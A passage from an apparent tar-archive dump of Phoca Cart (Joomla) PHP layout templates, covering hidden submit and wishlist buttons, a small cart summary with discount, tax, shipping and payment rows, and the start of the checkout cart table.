$d['button'] == 1 ? '' : '</div>';
?>
</div>
button_submit_hidden.php000064400000001352151165411770011477
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
// In case we don't display the add to cart button
// but we display add to cart icon only - in this case add to cart icon is
located outside the add to cart form
// so with add to cart icon we run jQuery event: click on submit button
// but if there is no submit button in form (no add to cart button) we need
to add some which will be hidden
?>
<input type="submit" style="display:none"
/>button_wishlist.php000064400000003471151165411770010533
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
?>
<div class="<?php echo
$d['s']['c']['pull-right'] ?>">
<div class="ph-category-item-wishlist">
<form action="<?php echo $d['linkw'];
?>" method="post" id="phWishList<?php echo
(int)$d['id']; ?>"
class="phItemWishListBoxForm">
<input type="hidden" name="id"
value="<?php echo (int)$d['id']; ?>" />
<input type="hidden" name="catid"
value="<?php echo (int)$d['catid']; ?>" />
<input type="hidden" name="task"
value="wishlist.add" />
<input type="hidden" name="tmpl"
value="component" />
<input type="hidden" name="option"
value="com_phocacart" />
<input type="hidden" name="return"
value="<?php echo $d['return']; ?>" />
<?php if (isset($d['method']) &&
(int)$d['method'] > 0) { ?>
<a href="javascript:void(0)"
onclick="phItemWishListBoxFormAjax('phWishList<?php echo
(int)$d['id']; ?>');" title="<?php echo
JText::_('COM_PHOCACART_ADD_TO_WISH_LIST');
?>"><span class="<?php echo
$d['s']['i']['wish-list']
?>"></span></a>
<?php } else { ?>
<a href="javascript:void(0)"
onclick="document.getElementById('phWishList<?php echo
(int)$d['id']; ?>').submit();" title="<?php
echo JText::_('COM_PHOCACART_ADD_TO_WISH_LIST');
?>"><span class="<?php echo
$d['s']['i']['wish-list']
?>"></span></a>
<?php } ?>
<?php echo
Joomla\CMS\HTML\HTMLHelper::_('form.token'); ?>
</form>
</div>
</div>
cart_cart.php000064400000044157151165411770007242 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('image', null,
array('component' => 'com_phocacart'));
$d = $displayData;
$price = new PhocacartPrice();
$app = JFactory::getApplication();
// Component parameters params
// Module parameters paramsmodule
$p = array();
$p['tax_calculation'] = $d['params']->get(
'tax_calculation', 0 );
$p['stock_checkout'] = $d['params']->get(
'stock_checkout', 0 );
$p['stock_checking'] = $d['params']->get(
'stock_checking', 0 );
$p['display_discount_product'] =
$d['params']->get( 'display_discount_product', 1 );
$p['zero_shipping_price_calculation'] =
$d['params']->get(
'zero_shipping_price_calculation', 0 );
$p['zero_payment_price_calculation'] =
$d['params']->get( 'zero_payment_price_calculation',
0 );
$p['display_webp_images'] = $d['params']->get(
'display_webp_images', 0 );
$p['display_zero_total'] = $d['params']->get(
'display_zero_total', 0 );
if (!empty($d['fullitems'])) {
// CLASS NAMES
// Display image next to product title, one more column
if (isset($d['paramsmodule']['display_image'])
&& $d['paramsmodule']['display_image'] == 1) {
//$c2 = 3;// Colspans of table;
//$c3 = 4;
$cI = $d['s']['c']['col.xs12.sm2.md2'];//
+2
$cX = $d['s']['c']['col.xs12.sm1.md1'];
$cXT = $d['s']['c']['col.xs12.sm5.md5'];//
-1
$cXP = $d['s']['c']['col.xs12.sm4.md4'];//
-1
$cS = '-i';
} else {
//$c2 = 2;
//$c3 = 3;
$cI = '';
$cX = $d['s']['c']['col.xs12.sm1.md1']; //
X Emtpy space
$cXT = $d['s']['c']['col.xs12.sm6.md6'];
// T Text/Title
$cXP = $d['s']['c']['col.xs12.sm5.md5'];
// P Price
$cS = ''; // S Suffix
}
//$r = 'row-fluid';
$r = $d['s']['c']['row'];
$cT = $d['s']['c']['col.xs12.sm7.md7'];
$cP = $d['s']['c']['col.xs12.sm5.md5'];
$cA = $d['s']['c']['col.xs12.sm12.md12'];
// echo '<table class="ph-cart-small-box">';
echo '<div class="ph-cart-small-box">';
// echo '<div class="container">';
/*
HEAD
echo '<tr>';
echo '<td><span
class="ph-small">'.JText::_('MOD_PHOCACART_CART_PRODUCT').'</span></td>';
echo '<td><span
class="ph-small">'.JText::_('MOD_PHOCACART_CART_COUNT').'</span></td>';
echo '<td><span
class="ph-small">'.JText::_('MOD_PHOCACART_CART_PRICE').'</span></td>';
echo '</tr>';*/
// echo '<tr>';
// echo '<td colspan="'.$c2.'"
class="ph-small">'.
count($d['fullitems']).'
'.JText::_('COM_PHOCACART_ITEM_S').'</td>';
// echo '<td class="ph-small ph-right">';
if (isset($d['countitems'])) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.'
ph-small">'. $d['countitems'].'
'.JText::_('COM_PHOCACART_ITEM_S').'</div>';
echo '<div class="'.$cP.' ph-small
ph-right">';
}
if (isset($d['total']['brutto'])) {
echo
$price->getPriceFormat($d['total']['brutto']);
}
// echo '</td>';
//echo '</tr>';
echo '</div>';
echo '</div>';// end row
//echo '<tr><td
colspan="'.$c3.'"><div
class="ph-hr"></div></td></tr>';
echo '<div class="'.$r.'">';
echo '<div class="'.$cA.'"><div
class="ph-hr"></div></div>';
echo '</div>';// end row
foreach($d['fullitems'][1] as $k => $v) {
$link = PhocacartRoute::getItemRoute((int)$v['id'],
(int)$v['catid'], $v['alias']);
if ($v['netto']) {
$priceItem = (int)$v['quantity'] * $v['netto'];
} else {
$priceItem = (int)$v['quantity'] * $v['brutto'];
}
$priceItem = $price->getPriceFormat($priceItem);
// echo '<tr>';
echo '<div class="'.$r.'">';
// Display image next to product title
if (isset($d['paramsmodule']['display_image'])
&& $d['paramsmodule']['display_image'] == 1) {
if (isset($v['image']) && $v['image'] !=
'') {
if (empty($v['attributes'])){ $v['attributes'] =
array();}
$image = PhocacartImage::getImageDisplay($v['image'],
'', $d['pathitem'], '', '',
'', 'small', '', $v['attributes'],
2);
if (isset($image['image']->rel)) {
echo '<div class="'.$cI.' ph-small
ph-mod-cart-image">';
$d2 = array();
$d2['s'] =
$d['s'];
$d2['t']['display_webp_images'] =
$p['display_webp_images'];
$d2['src'] =
JURI::base(true).'/'.$image['image']->rel;
$d2['srcset-webp'] =
JURI::base(true).'/'.$image['image']->rel_webp;
$d2['alt-value'] =
PhocaCartImage::getAltTitle($v['title'],
$image['image']->rel);
$d2['class'] =
PhocacartRenderFront::completeClass(array($d['s']['c']['img-responsive'],
'ph-img-cart-cart'));
echo $layoutI->render($d2);
echo '</div>';
}
}
}
//- echo '<td class="ph-small
ph-cart-small-quantity">'.$v['quantity'].'x
</td>';
//- echo '<td class="ph-small
ph-cart-small-title">';
//- echo '<a
href="'.$link.'">'.$v['title'].'</a>';
//- echo '</td>';
//- echo '<td class="ph-small ph-cart-small-price
ph-right">'.$priceItem.'</td>';
//- echo '</tr>';
echo '<div class="'.$cX.' ph-small
ph-cart-small-quantity">'.$v['quantity'].'x
</div>';
echo '<div class="'.$cXT.' ph-small
ph-cart-small-title">';
// No link in admin
if ($d['client'] == 1) {
echo $v['title'];
} else {
echo '<a
href="'.$link.'">'.$v['title'].'</a>';
}
echo '</div>';
echo '<div class="'.$cXP.' ph-small
ph-cart-small-price
ph-right">'.$priceItem.'</div>';
echo '</div>';// end row
if (!empty($v['attributes'])) {
//- echo '<tr>';
//- echo '<td
colspan="'.$c3.'"><ul>';
echo '<div class="'.$r.'">';
echo '<div class="'.$cA.'"><ul
class="ph-cart-attribute-box'.$cS.'">';
foreach($v['attributes'] as $k2 => $v2) {
if (!empty($v2)) {
foreach($v2 as $k3 => $v3) {
echo '<li
class="ph-cart-attribute-item'.$cS.'"><span
class="ph-small
ph-cart-small-attribute">'.$v3['atitle'] . '
'.$v3['otitle'].'</span>';
if (isset($v3['ovalue']) &&
urldecode($v3['ovalue']) != '') {
echo ': <span class="ph-small
ph-cart-small-attribute">'.htmlspecialchars(urldecode($v3['ovalue']),
ENT_QUOTES, 'UTF-8').'</span>';
}
echo '</li>';
}
}
}
//- echo '</ul></td>';
//- echo '</tr>';
echo '</ul></div>';
echo '</div>';// end row
}
}
//- echo '<tr><td
colspan="'.$c3.'"><div
class="ph-hr"></div></td></tr>';
echo '<div class="'.$r.'">';
echo '<div class="'.$cA.'"><div
class="ph-hr"></div></div>';
echo '</div>';// end row
// SUBTOTAL NETTO
if ($d['total'][1]['netto'] !== 0) {
//- echo '<tr>';
//- echo '<td colspan="'.$c2.'"
class="ph-small">'.JText::_('COM_PHOCACART_SUBTOTAL').'</td>';
//- echo '<td class="ph-small
ph-right">'.$price->getPriceFormat($d['total']['netto']).'</td>';
//- echo '</tr>';
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-subtotal-netto-txt">'.JText::_('COM_PHOCACART_SUBTOTAL').'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-subtotal-netto">'.$price->getPriceFormat($d['total'][1]['netto']).'</div>';
echo '</div>';// end row
}
// REWARD DISCOUNT
if ($d['total'][5]['dnetto']) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-reward-discount-txt">'.JText::_('COM_PHOCACART_REWARD_POINTS').$d['total'][5]['rewardproducttxtsuffix'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-reward-discount">'.$price->getPriceFormat($d['total'][5]['dnetto'],
1).'</div>';
echo '</div>';// end row
}
// PRODUCT DISCOUNT
if ($d['total'][2]['dnetto']) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-product-discount-txt">'.JText::_('COM_PHOCACART_PRODUCT_DISCOUNT').'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-product-discount">'.$price->getPriceFormat($d['total'][2]['dnetto'],
1).'</div>';
echo '</div>';// end row
}
// CART DISCOUNT
if ($d['total'][3]['dnetto']) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-cart-discount-txt">'.JText::_('COM_PHOCACART_CART_DISCOUNT').$d['total'][3]['discountcarttxtsuffix'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-cart-discount">'.$price->getPriceFormat($d['total'][3]['dnetto'],
1).'</div>';
echo '</div>';// end row
}
// COUPON
if ($d['total'][4]['dnetto'] &&
$d['couponvalid']) {
$couponTitle = JText::_('COM_PHOCACART_COUPON');
if (isset($d['coupontitle']) &&
$d['coupontitle'] != '') {
$couponTitle = $d['coupontitle'];
}
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-coupon-txt">'.$couponTitle.$d['total'][4]['couponcarttxtsuffix'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-coupon">'.$price->getPriceFormat($d['total'][4]['dnetto'],
1).'</div>';
echo '</div>';// end row
}
// TAX
if (!empty($d['total'][0]['tax'])) {
foreach($d['total'][0]['tax'] as $k3 => $v3) {
if($v3['tax'] > 0) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-tax-txt">'.$v3['title'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-tax">'.$price->getPriceFormat($v3['tax']).'</div>';
echo '</div>';// end row
}
}
}
//SHIPPING
// Add Shipping costs if there are some
if (!empty($d['shippingcosts'])) {
$sC = $d['shippingcosts'];
if ($p['zero_shipping_price_calculation'] == -1 &&
$sC['zero'] == 1) {
// Hide completely
} else if ($p['zero_shipping_price_calculation'] == 0
&& $sC['zero'] == 1) {
// Display blank price field
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-shipping-txt">'.$sC['title'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-shipping"></div>';
echo '</div>';// end row
} else if ($p['zero_shipping_price_calculation'] == 2
&& $sC['zero'] == 1) {
// Display free text
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-shipping-txt">'.$sC['title'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-shipping">'.JText::_('COM_PHOCACART_FREE').'</div>';
echo '</div>';// end row
} else {
if ($sC['title'] != '') {
$sC['title'] = $sC['title']. ' - ';
}
if (isset($sC['nettoformat']) &&
$sC['nettoformat'] != '' &&
isset($sC['nettotxt']) && $sC['nettotxt'] !=
'') {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-shipping-netto-txt">'.$sC['title'].$sC['nettotxt'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-shipping-netto">'.$sC['nettoformat'].'</div>';
echo '</div>';// end row
}
if (isset($sC['taxformat']) &&
$sC['taxformat'] != '' &&
isset($sC['taxtxt']) && $sC['taxtxt'] !=
'') {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-shipping-tax-txt">'.$sC['title'].$sC['taxtxt'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-shipping-tax">'.$sC['taxformat'].'</div>';
echo '</div>';// end row
}
if ((isset($sC['bruttoformat']) &&
$sC['bruttoformat'] != '' &&
isset($sC['bruttotxt']) && $sC['bruttotxt'] !=
'') || $sC['freeshipping'] == 1) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-shipping-brutto-txt">'.$sC['title'].$sC['bruttotxt'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-shipping-brutto">'.$sC['bruttoformat'].'</div>';
echo '</div>';// end row
}
}
}
// PAYMENT
// Add Payment costs if there are some
if (!empty($d['paymentcosts'])) {
$pC = $d['paymentcosts'];
if ($p['zero_payment_price_calculation'] == -1 &&
$pC['zero'] == 1) {
// Hide completely
} else if ($p['zero_payment_price_calculation'] == 0
&& $pC['zero'] == 1) {
// Display blank price field
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-payment-txt">'.$pC['title'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-payment"></div>';
echo '</div>';// end row
} else if ($p['zero_payment_price_calculation'] == 2 &&
$pC['zero'] == 1) {
// Display free text
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-payment-txt">'.$pC['title'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-payment">'.JText::_('COM_PHOCACART_FREE').'</div>';
echo '</div>';// end row
} else {
if ($pC['nettotxt'] != '') {
$pC['title'] = $pC['title']. ' - ';
}
if (isset($pC['nettoformat']) &&
$pC['nettoformat'] != '' &&
isset($pC['nettotxt']) && $pC['nettotxt'] !=
'') {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-payment-netto-txt">'.$pC['title'].
$pC['nettotxt'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-payment-netto">'.$pC['nettoformat'].'</div>';
echo '</div>';// end row
}
if (isset($pC['taxformat']) &&
$pC['taxformat'] != '' &&
isset($pC['taxtxt']) && $pC['taxtxt'] !=
'') {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-payment-tax-txt">'.$pC['title'].
$pC['taxtxt'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-payment-tax">'.$pC['taxformat'].'</div>';
echo '</div>';// end row
}
if ((isset($pC['bruttoformat']) &&
$pC['bruttoformat'] != '' &&
isset($pC['bruttotxt']) && $pC['bruttotxt'] !=
'') || $pC['freepayment'] == 1) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-payment-brutto-txt">'.$pC['title'].
$pC['bruttotxt'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-payment-brutto">'.$pC['bruttoformat'].'</div>';
echo '</div>';// end row
}
}
//-
/*
if (isset($pC['nettoformat']) &&
$pC['nettoformat'] != '' &&
isset($pC['nettotxt']) && $pC['nettotxt'] !=
'') {
//- echo '<tr>';
//- echo '<td colspan="'.$c2.'"
class="ph-small">'.$pC['nettotxt'].'</td>';
//- echo '<td class="ph-small
ph-right">'.$pC['nettoformat'].'</td>';
//- echo '</tr>';
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-netto-txt">'.$pC['nettotxt'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-netto">'.$pC['nettoformat'].'</div>';
echo '</div>';// end row
}
if (isset($pC['taxformat']) &&
$pC['taxformat'] != '' &&
isset($pC['taxtxt']) && $pC['taxtxt'] !=
'') {
//- echo '<tr>';
//- echo '<td colspan="'.$c2.'"
class="ph-small">'.$pC['taxtxt'].'</td>';
//- echo '<td class="ph-small
ph-right">'.$pC['taxformat'].'</td>';
//- echo '</tr>';
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-tax-txt">'.$pC['taxtxt'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-tax">'.$pC['taxformat'].'</div>';
echo '</div>';// end row
}
if ((isset($pC['bruttoformat']) &&
$pC['bruttoformat'] != '' &&
isset($pC['bruttotxt']) && $pC['bruttotxt'] !=
'') || $pC['freepayment'] == 1) {
//- echo '<tr>';
//- echo '<td colspan="'.$c2.'"
class="ph-small">'.$pC['bruttotxt'].'</td>';
//- echo '<td class="ph-small
ph-right">'.$pC['bruttoformat'].'</td>';
//- echo '</tr>';
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-brutto-txt">'.$pC['bruttotxt'].'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-brutto">'.$pC['bruttoformat'].'</div>';
echo '</div>';// end row
}
*/
//-
}
// ROUNDING | ROUNDING CURRENCY
if ($d['total'][0]['rounding_currency'] != 0) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-rounding-currency-txt">'.JText::_('COM_PHOCACART_ROUNDING_CURRENCY').'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-rounding-currency">'.$price->getPriceFormat($d['total'][0]['rounding_currency'],
0, 1).'</div>';
echo '</div>';// end row
} else if ($d['total'][0]['rounding'] != 0) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-rounding-txt">'.JText::_('COM_PHOCACART_ROUNDING').'</div>';
echo '<div class="'.$cP.' ph-small ph-right
ph-cart-rounding">'.$price->getPriceFormat($d['total'][0]['rounding']).'</div>';
echo '</div>';// end row
}
// BRUTTO (Because of rounding currency we need to display brutto in
currency which is set)
//if
(!($price->roundPrice($d['total'][0]['brutto_currency'])
> -0.01 &&
$price->roundPrice($d['total'][0]['brutto_currency']
< 0.01)) == 1) {
if ($d['total'][0]['brutto_currency'] !== 0) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-brutto-currency-txt">'.JText::_('COM_PHOCACART_TOTAL').'</div>';
echo '<div class="'.$cP.' ph-small ph-right ph-b
ph-cart-brutton-currency">'.$price->getPriceFormat($d['total'][0]['brutto_currency'],
0, 1).'</div>';
echo '</div>';// end row
//} else if
(!($price->roundPrice($d['total'][0]['brutto']) >
-0.01 &&
$price->roundPrice($d['total'][0]['brutto'] <
0.01)) == 1) {
} else if ($d['total'][0]['brutto'] !== 0 ||
($d['total'][0]['brutto'] === 0 &&
$p['display_zero_total'] == 1)) {
echo '<div class="'.$r.'">';
echo '<div class="'.$cT.' ph-small
ph-cart-total-txt">'.JText::_('COM_PHOCACART_TOTAL').'</div>';
echo '<div class="'.$cP.' ph-small ph-right ph-b
ph-cart-total">'.$price->getPriceFormat($d['total'][0]['brutto']).'</div>';
echo '</div>';// end row
}
//- echo '</table>'. "\n";
// echo '</div>'; // end container
echo '</div>'. "\n"; // end small box
} else {
echo
'<div>'.JText::_('COM_PHOCACART_SHOPPING_CART_IS_EMPTY').'</div>';
}
if ($app->getName() != 'administrator') {
$linkCheckout = JRoute::_(PhocacartRoute::getCheckoutRoute());
$linkCheckoutHtml = '<div class="ph-small ph-right ph-u
ph-cart-link-checkout"><a
href="'.$linkCheckout.'">'.JText::_('COM_PHOCACART_VIEW_CART_CHECKOUT').'</a></div>';
if (isset($d['paramsmodule']['display_checkout_link'])
&& $d['paramsmodule']['display_checkout_link']
== 1) {
echo $linkCheckoutHtml;
} else if
(isset($d['paramsmodule']['display_checkout_link'])
&& $d['paramsmodule']['display_checkout_link']
== 2 && !empty($d['fullitems'])) {
echo $linkCheckoutHtml;
}
}
?>
cart_checkout.php000064400000101760151165411770010110 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('image', null,
array('component' => 'com_phocacart'));
$app = JFactory::getApplication();
$d = $displayData;
$price = new PhocacartPrice();
$msgSuffix = '<span id="ph-msg-ns"
class="ph-hidden"></span>';
$p['tax_calculation'] = $d['params']->get(
'tax_calculation', 0 );
$p['stock_checkout'] = $d['params']->get(
'stock_checkout', 0 );
$p['stock_checking'] = $d['params']->get(
'stock_checking', 0 );
$p['display_discount_product'] =
$d['params']->get( 'display_discount_product', 1 );
$p['display_discount_price_product'] =
$d['params']->get( 'display_discount_price_product',
1 );
$p['zero_shipping_price_calculation'] =
$d['params']->get(
'zero_shipping_price_calculation', 0 );
$p['zero_payment_price_calculation'] =
$d['params']->get( 'zero_payment_price_calculation',
0 );
$p['display_reward_points_receive_info']=
$d['params']->get(
'display_reward_points_receive_info', 0 );
$p['display_webp_images'] = $d['params']->get(
'display_webp_images', 0 );
$p['display_zero_total'] = $d['params']->get(
'display_zero_total', 0 );
//$p['min_quantity_calculation'] =
$d['params']->get( 'min_quantity_calculation', 0 );
set in product xml - product options, not in global
// POS
$task = $d['pos'] == true ? 'pos.update' :
'checkout.update';
$inputNumber = $d['pos'] == true ? 'number' :
'text';
$displayTax = true;// Specific settings for POS - to make smaller widht of
cart
// A) MINIMUM QUANTITY FOR GROUPS - MAIN PRODUCT
if (!empty($d['fullitemsgroup'][0])) {
foreach($d['fullitemsgroup'][0] as $k => $v) {
if (isset($v['minqtyvalid']) &&
$v['minqtyvalid'] == 0) {
echo '<div class="alert
alert-error">'.JText::_('COM_PHOCACART_MINIMUM_ORDER_QUANTITY_FOR_PRODUCT').
' '.$v['title']. '
'.JText::_('COM_PHOCACART_IS').':
'.$v['minqty']. $msgSuffix .'</div>';
}
if (isset($v['minmultipleqtyvalid']) &&
$v['minmultipleqtyvalid'] == 0) {
echo '<div class="alert
alert-error">'.JText::_('COM_PHOCACART_MINIMUM_MULTIPLE_ORDER_QUANTITY_FOR_PRODUCT').
' '.$v['title']. '
'.JText::_('COM_PHOCACART_IS').':
'.$v['minmultipleqty']. $msgSuffix
.'</div>';
}
}
}
if (!empty($d['fullitems'][1])) {
$r = $d['s']['c']['row'];
$cA = $d['s']['c']['col.xs12.sm12.md12'];//
whole row
$cI = $d['s']['c']['col.xs2.sm2.md2'];//
image
$cQ = $d['s']['c']['col.xs2.sm2.md2'];//
quantity
$cN = $d['s']['c']['col.xs2.sm2.md2'];//
netto
$cT = $d['s']['c']['col.xs2.sm2.md2'];//
tax
$cB = $d['s']['c']['col.xs2.sm2.md2'];//
brutto
$cV = ' ph-vertical-align';
$cVRow = ' ph-vertical-align-row';
$cAT = $d['s']['c']['col.xs10.sm10.md10'];//
attributes
// Total summarization
$cTotE = $d['s']['c']['col.xs0.sm6.md6']; //
empty space
$cTotT = $d['s']['c']['col.xs8.sm4.md4']; //
title
$cTotB = $d['s']['c']['col.xs4.sm2.md2']; //
price
if ((int)$p['tax_calculation'] > 0) {
$cP = $d['s']['c']['col.xs2.sm2.md2'];//
title - 4 (Tax, Netto)
} else {
$cP = $d['s']['c']['col.xs6.sm6.md6'];//
title + 4 (Tax, Netto)
}
if ($d['pos']) {
// HIDE TAX for POS
$displayTax = false;
$cI = $d['s']['c']['col.xs0.sm0.md0'];//
image (display: none in css)
//$cQ = 'col-sm-3 col-md-3 col-xs-3';// quantity
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
$cP = $d['s']['c']['col.xs2.sm2.md2'];//
- 4 (Tax, Netto)
} else {
$cP = $d['s']['c']['col.xs6.sm6.md6'];//
+ 4 (Tax, Netto)
}
$cQ =
$d['s']['c']['col.xs3.sm3.md3'].'
ph-pd-zero';// quantity
$cN = $d['s']['c']['col.xs3.sm3.md3'];//
netto
$cT = $d['s']['c']['col.xs3.sm3.md3'];//
tax
$cB = $d['s']['c']['col.xs3.sm3.md3'];//
brutto
$cAT =
$d['s']['c']['col.xs12.sm12.md12'];//
attributes
// Total summarization
$cTotE = $d['s']['c']['col.xs0.sm0.md0'];
// empty space
$cTotT = $d['s']['c']['col.xs8.sm8.md8'];
// title
$cTotB = $d['s']['c']['col.xs4.sm4.md4'];
// price
$cV = '';
$cVRow = '';
}
echo '<div class="ph-checkout-cart-box">';
// HEADER
echo '<div class="'.$r.'">';
echo '<div class="'.$cI.'
ph-checkout-cart-image">'.JText::_('COM_PHOCACART_IMAGE').'</div>';
echo '<div class="'.$cP.'
ph-checkout-cart-product">'.JText::_('COM_PHOCACART_PRODUCT').'</div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax) {
echo '<div class="'.$cN.'
ph-checkout-cart-netto">'.JText::_('COM_PHOCACART_PRICE_EXCL_TAX').'</div>';
}
echo '<div class="'.$cQ.'
ph-checkout-cart-quantity">'.JText::_('COM_PHOCACART_QUANTITY').'</div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax) {
echo '<div class="'.$cT.'
ph-checkout-cart-tax">'.JText::_('COM_PHOCACART_TAX').'</div>';
}
echo '<div class="'.$cB.'
ph-checkout-cart-brutto">'.JText::_('COM_PHOCACART_PRICE').'</div>';
echo '</div>'. "\n"; // end row
// ROW
echo '<div class="'.$r.'">';
echo '<div class="'.$cA.'"><div
class="ph-hr"></div></div>';
echo '</div>'. "\n"; // end row
foreach($d['fullitems'][1] as $k => $v) {
$link = PhocacartRoute::getItemRoute((int)$v['id'],
(int)$v['catid'], $v['alias']);
// Design only
$lineThroughClass = '';
if ($p['display_discount_product'] == 1 &&
($d['fullitems'][2][$k]['discountproduct'] ||
$d['fullitems'][3][$k]['discountcart'] ||
$d['couponvalid'])) {
$lineThroughClass = ' ph-line-through';
}
if (isset($v['image']) && $v['image'] !=
'') {
if (empty($v['attributes'])){ $v['attributes'] =
array();}
$image = PhocacartImage::getImageDisplay($v['image'],
'', $d['pathitem'], '', '',
'', 'small', '', $v['attributes'],
2);
if (isset($image['image']->rel)) {
$d2 = array();
$d2['t']['display_webp_images'] =
$p['display_webp_images'];
$d2['src'] =
JURI::base(true).'/'.$image['image']->rel;
$d2['srcset-webp'] =
JURI::base(true).'/'.$image['image']->rel_webp;
$d2['alt-value'] =
PhocaCartImage::getAltTitle($v['title'],
$image['image']->rel);
$d2['class'] =
PhocacartRenderFront::completeClass(array($d['s']['c']['img-responsive'],
'ph-img-cart-checkout'));
$imageOutput = $layoutI->render($d2);
}
} else {
$imageOutput = '<div class="ph-no-image"><span
class="'.$d['s']['i']['ban'].'"</span></div>';
}
echo '<div class="'.$r.$cV.'">';
echo '<div class="'.$cI.$cVRow.'
ph-checkout-cart-image
ph-row-image">'.$imageOutput.'</div>';
echo '<div class="'.$cP.$cVRow.'
ph-checkout-cart-title"><a
href="'.$link.'">'.$v['title'].'</a>';
echo '</div>';
if ((int)$p['tax_calculation'] > 0 && $displayTax)
{
echo '<div
class="'.$cN.$cVRow.$lineThroughClass.'
ph-checkout-cart-netto">'.$price->getPriceFormat($v['netto']).'</div>';
}
echo '<div class="'.$cQ.$cVRow.'
ph-checkout-cart-quantity">';
echo '<form
action="'.$d['linkcheckout'].'"
class="form-inline phItemCartUpdateBoxForm"
method="post">';
echo '<div class="form-group">';
echo '<input type="hidden" name="id"
value="'.(int)$v['id'].'">';
echo '<input type="hidden" name="catid"
value="'.(int)$v['catid'].'">';
echo '<input type="hidden" name="idkey"
value="'.$v['idkey'].'">';
echo '<input type="hidden" name="ticketid"
value="'.(int)$d['ticketid'].'">';
echo '<input type="hidden" name="unitid"
value="'.(int)$d['unitid'].'">';
echo '<input type="hidden" name="sectionid"
value="'.(int)$d['sectionid'].'">';
echo '<input type="'.$inputNumber.'"
class="form-control ph-input-quantity ph-input-sm"
name="quantity"
value="'.$v['quantity'].'">';
echo '<input type="hidden" name="task"
value="'.$task.'">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="return"
value="'.$d['actionbase64'].'" />';
//UPDATE
echo ' <button
class="'.$d['s']['c']['btn.btn-success.btn-sm'].'
ph-btn" type="submit" name="action"
value="update"><span
title="'.JText::_('COM_PHOCACART_UPDATE_QUANTITY_IN_CART').'"
class="'.$d['s']['i']['refresh'].'"></span></button>';
//DELETE
echo ' <button
